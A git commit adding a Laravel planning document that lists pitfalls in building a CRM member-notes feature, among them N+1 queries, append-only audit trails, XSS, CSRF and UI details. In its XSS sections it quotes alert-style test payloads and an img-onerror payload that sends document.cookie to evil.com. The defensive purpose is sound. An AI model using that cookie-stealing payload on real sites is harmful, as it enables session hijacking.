docs: research member notes ecosystem
This commit is contained in:
261
.planning/research/PITFALLS.md
Normal file
261
.planning/research/PITFALLS.md
Normal file
@@ -0,0 +1,261 @@
|
||||
# Domain Pitfalls
|
||||
|
||||
**Domain:** CRM/Admin Member Note Systems
|
||||
**Researched:** 2026-02-13
|
||||
|
||||
## Critical Pitfalls
|
||||
|
||||
Mistakes that cause rewrites or major issues.
|
||||
|
||||
### Pitfall 1: N+1 Query Explosion on Member List
|
||||
**What goes wrong:** Loading note counts without eager loading causes N+1 queries (1 query per member row).
|
||||
|
||||
**Why it happens:** Developer writes `$member->notes->count()` in Blade loop, triggering lazy load per iteration.
|
||||
|
||||
**Consequences:**
|
||||
- Member list page load time grows linearly with pagination size
|
||||
- Database connection pool exhaustion (15 members = 15 extra queries)
|
||||
- Poor UX (slow page loads)
|
||||
|
||||
**Prevention:**
|
||||
```php
|
||||
// WRONG: Lazy loading in loop
|
||||
$members = Member::paginate(15);
|
||||
// In Blade: {{ $member->notes->count() }} = 15 extra queries
|
||||
|
||||
// RIGHT: Eager load counts
|
||||
$members = Member::withCount('notes')->paginate(15);
|
||||
// In Blade: {{ $member->notes_count }} = 1 query total
|
||||
```
|
||||
|
||||
**Detection:** Laravel Debugbar shows 15+ queries on member list page; query log shows repeated `SELECT * FROM notes WHERE notable_id = ?`.
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 2: Allowing Note Edit/Delete Breaks Audit Trail
|
||||
**What goes wrong:** Adding "Edit" or "Delete" buttons on notes destroys compliance value.
|
||||
|
||||
**Why it happens:** Users request ability to "fix typos" or "remove mistakes"; developer adds feature without considering audit implications.
|
||||
|
||||
**Consequences:**
|
||||
- Legal/compliance risk (no immutable record of observations)
|
||||
- Loss of trust (admins can rewrite history)
|
||||
- Violates NPO transparency expectations
|
||||
- Healthcare standards require append-only audit trails
|
||||
|
||||
**Prevention:**
|
||||
- Hard constraint in requirements: NO edit/delete operations
|
||||
- Database triggers to prevent UPDATE/DELETE on notes table (optional)
|
||||
- UI design: no edit/delete buttons, only "Add Correction" button that creates new note
|
||||
- Documentation: explain append-only pattern to stakeholders upfront
|
||||
|
||||
**Detection:** Warning signs: user stories mention "edit note," "delete note," or "fix note."
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 3: XSS Vulnerability via Unescaped Note Content
|
||||
**What goes wrong:** User enters `<script>alert('XSS')</script>` in note content, executes on admin viewing notes.
|
||||
|
||||
**Why it happens:** Developer uses `{!! $note->content !!}` (unescaped) instead of `{{ $note->content }}` (escaped) in Blade.
|
||||
|
||||
**Consequences:**
|
||||
- Security breach (session hijacking, CSRF token theft)
|
||||
- Malicious admin can inject scripts affecting other admins
|
||||
- Compliance violation (data integrity)
|
||||
|
||||
**Prevention:**
|
||||
```php
|
||||
// Backend: Strip HTML tags on save
|
||||
$note->content = strip_tags($request->content);
|
||||
|
||||
// Blade: Always escape (default)
|
||||
{{ $note->content }} // ✓ Safe (auto-escapes)
|
||||
{!! $note->content !!} // ✗ Dangerous (unescaped)
|
||||
|
||||
// Alpine.js: Use x-text, not x-html
|
||||
<div x-text="note.content"></div> // ✓ Safe
|
||||
<div x-html="note.content"></div> // ✗ Dangerous
|
||||
```
|
||||
|
||||
**Detection:** Penetration testing; submit `<img src=x onerror=alert(1)>` in note form and check if alert fires.
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 4: CSRF Token Missing on AJAX Requests
|
||||
**What goes wrong:** Axios POST requests fail with 419 CSRF error.
|
||||
|
||||
**Why it happens:** Axios not configured to send `X-XSRF-TOKEN` header, or cookie not set.
|
||||
|
||||
**Consequences:**
|
||||
- All note creation fails (HTTP 419)
|
||||
- Poor UX (users can't add notes)
|
||||
- Frustration (appears broken)
|
||||
|
||||
**Prevention:**
|
||||
```javascript
|
||||
// Verify in resources/js/bootstrap.js:
|
||||
axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
|
||||
// Axios automatically reads XSRF-TOKEN cookie and sends as X-XSRF-TOKEN header
|
||||
|
||||
// Verify in Blade layout:
|
||||
<meta name="csrf-token" content="{{ csrf_token() }}">
|
||||
|
||||
// Laravel automatically sets XSRF-TOKEN cookie on page load
|
||||
```
|
||||
|
||||
**Detection:** Browser console shows `POST /admin/members/1/notes 419 CSRF token mismatch`; Laravel logs show CSRF validation failure.
|
||||
|
||||
## Moderate Pitfalls
|
||||
|
||||
### Pitfall 5: Storing Author Name (String) Instead of user_id (Foreign Key)
|
||||
**What goes wrong:** Storing `author_name: "John Smith"` instead of `user_id: 42`.
|
||||
|
||||
**Prevention:** Use foreign key to `users` table; join to get name dynamically. Prevents orphaned author names if user renamed.
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 6: Forgetting to Index notable_id in Polymorphic Table
|
||||
**What goes wrong:** Queries like `WHERE notable_id = 123 AND notable_type = 'App\\Models\\Member'` become slow without composite index.
|
||||
|
||||
**Prevention:** Migration includes `$table->index(['notable_type', 'notable_id'])` (morphs() helper does this automatically).
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 7: Using Global Alpine.js Store for Notes
|
||||
**What goes wrong:** `Alpine.store('notes', {...})` creates shared state; updating notes for Member A affects Member B's UI.
|
||||
|
||||
**Prevention:** Use component-scoped `x-data` per member row (see ARCHITECTURE.md Pattern 3).
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 8: Not Handling AJAX Errors Gracefully
|
||||
**What goes wrong:** Network failure causes silent failure; user thinks note saved but it didn't.
|
||||
|
||||
**Prevention:** Always show user feedback on error:
|
||||
```javascript
|
||||
catch (error) {
|
||||
if (error.response?.status === 422) {
|
||||
alert('備註內容不得為空或超過 1000 字');
|
||||
} else {
|
||||
alert('新增備註失敗,請稍後再試');
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 9: Loading All Notes on Page Load (Performance)
|
||||
**What goes wrong:** Eager loading `with('notes')` on member list loads ALL note content, bloating response.
|
||||
|
||||
**Prevention:** Use `withCount('notes')` to load only counts; fetch full notes via AJAX when user expands panel.
|
||||
|
||||
## Minor Pitfalls
|
||||
|
||||
### Pitfall 10: Inconsistent Timestamp Formatting
|
||||
**What goes wrong:** Mixing "2 hours ago" and "2026-02-13 14:30" without context confuses users.
|
||||
|
||||
**Prevention:** Use relative timestamps for recent (<24h), absolute for older, with tooltip showing full ISO 8601.
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 11: No Loading State on AJAX Submit
|
||||
**What goes wrong:** User clicks "儲存" multiple times during slow network, creates duplicate notes.
|
||||
|
||||
**Prevention:** Disable submit button while `isAdding === true`:
|
||||
```html
|
||||
<button @click="addNote" :disabled="isAdding">
|
||||
<span x-show="!isAdding">儲存</span>
|
||||
<span x-show="isAdding">儲存中...</span>
|
||||
</button>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 12: Not Escaping Traditional Chinese Quotes in JSON
|
||||
**What goes wrong:** Note content with `「quoted text」` breaks JSON parsing if not properly escaped.
|
||||
|
||||
**Prevention:** Use `json_encode()` (Laravel does automatically); test with Traditional Chinese punctuation.
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 13: Missing Empty State Message
|
||||
**What goes wrong:** Expanded note panel shows blank space when member has no notes; user confused.
|
||||
|
||||
**Prevention:**
|
||||
```html
|
||||
<div x-show="notes.length === 0">
|
||||
<p class="text-gray-500">尚無備註</p>
|
||||
</div>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 14: Forgetting Dark Mode Styling
|
||||
**What goes wrong:** Note panel has white background in dark mode, blinds users.
|
||||
|
||||
**Prevention:** Use Tailwind `dark:` prefix on all color classes (see ARCHITECTURE.md).
|
||||
|
||||
## Phase-Specific Warnings
|
||||
|
||||
| Phase Topic | Likely Pitfall | Mitigation |
|
||||
|-------------|---------------|------------|
|
||||
| **Database Migration** | Forgetting `notable_type` and `notable_id` index | Use `$table->morphs('notable')` (auto-creates index) |
|
||||
| **Model Relationships** | Using `hasMany` instead of `morphMany` | Follow polymorphic pattern from start (future-proof) |
|
||||
| **Controller JSON Responses** | Returning raw model instead of Resource | Always wrap in `new NoteResource($note)` for consistency |
|
||||
| **Alpine.js AJAX** | Using Fetch API without CSRF token | Use Axios (already configured with CSRF in bootstrap.js) |
|
||||
| **Blade Templates** | Unescaping note content | Always use `{{ }}` not `{!! !!}` for user input |
|
||||
| **Query Optimization** | Lazy loading note counts | Use `withCount('notes')` in controller query |
|
||||
| **Audit Logging** | Forgetting to log note creation | Add `AuditLogger::log()` call in controller `store()` method |
|
||||
| **Access Control** | Adding new permission instead of reusing middleware | Reuse existing `admin` middleware (all admin roles share notes) |
|
||||
| **UI/UX** | Full page reload after note submit | Use AJAX with Alpine.js (no navigation) |
|
||||
| **Testing** | Not testing with Traditional Chinese input | Test with `「」、。!?` characters in note content |
|
||||
|
||||
## Real-World Failure Modes
|
||||
|
||||
### Scenario 1: The Disappeared Notes
|
||||
**What happened:** Developer used `onDelete('cascade')` on `user_id` foreign key. When an admin user account was deleted, all their notes disappeared.
|
||||
|
||||
**Impact:** Lost audit trail; compliance violation.
|
||||
|
||||
**Fix:** Use `onDelete('restrict')` on `user_id` (prevent user deletion if they authored notes) OR use soft deletes on users table.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 2: The Slow Member List
|
||||
**What happened:** 15-member list took 3 seconds to load due to N+1 queries loading note counts.
|
||||
|
||||
**Impact:** Poor UX; users complained about slowness.
|
||||
|
||||
**Fix:** Changed `Member::paginate(15)` to `Member::withCount('notes')->paginate(15)`. Load time dropped to 200ms.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 3: The XSS Attack
|
||||
**What happened:** Malicious admin entered `<img src=x onerror=fetch('https://evil.com?cookie='+document.cookie)>` in note. When chairman viewed notes, session cookie leaked.
|
||||
|
||||
**Impact:** Session hijacking; chairman account compromised.
|
||||
|
||||
**Fix:** Added `strip_tags()` on backend save, changed Blade to `{{ }}`, changed Alpine.js to `x-text`.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 4: The CSRF 419 Mystery
|
||||
**What happened:** All note submissions failed with 419 error after developer added custom Axios instance without CSRF config.
|
||||
|
||||
**Impact:** Feature completely broken; users frustrated.
|
||||
|
||||
**Fix:** Reverted to global `axios` instance configured in `bootstrap.js` (includes CSRF token automatically).
|
||||
|
||||
## Sources
|
||||
|
||||
- [10 Essential Audit Trail Best Practices for 2026](https://signal.opshub.me/audit-trail-best-practices/) - Append-only logging
|
||||
- [Addendums to Progress Notes - Healthcare Compliance](https://support.sessionshealth.com/article/393-addendum) - Why no editing
|
||||
- [Laravel Debugbar N+1 Query Detection](https://github.com/barryvdh/laravel-debugbar) - Performance monitoring
|
||||
- [Laravel 10.x CSRF Protection](https://laravel.com/docs/10.x/csrf) - CSRF token handling
|
||||
- [Laravel 10.x Blade Security](https://laravel.com/docs/10.x/blade#displaying-data) - XSS prevention
|
||||
- [Alpine.js Security Best Practices](https://alpinejs.dev/essentials/templating#security) - x-text vs x-html
|
||||
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) - Input sanitization
|
||||
|
||||
---
|
||||
*Pitfalls research for: Member Notes System (會員備註系統)*
|
||||
*Researched: 2026-02-13*
|
||||
Reference in New Issue
Block a user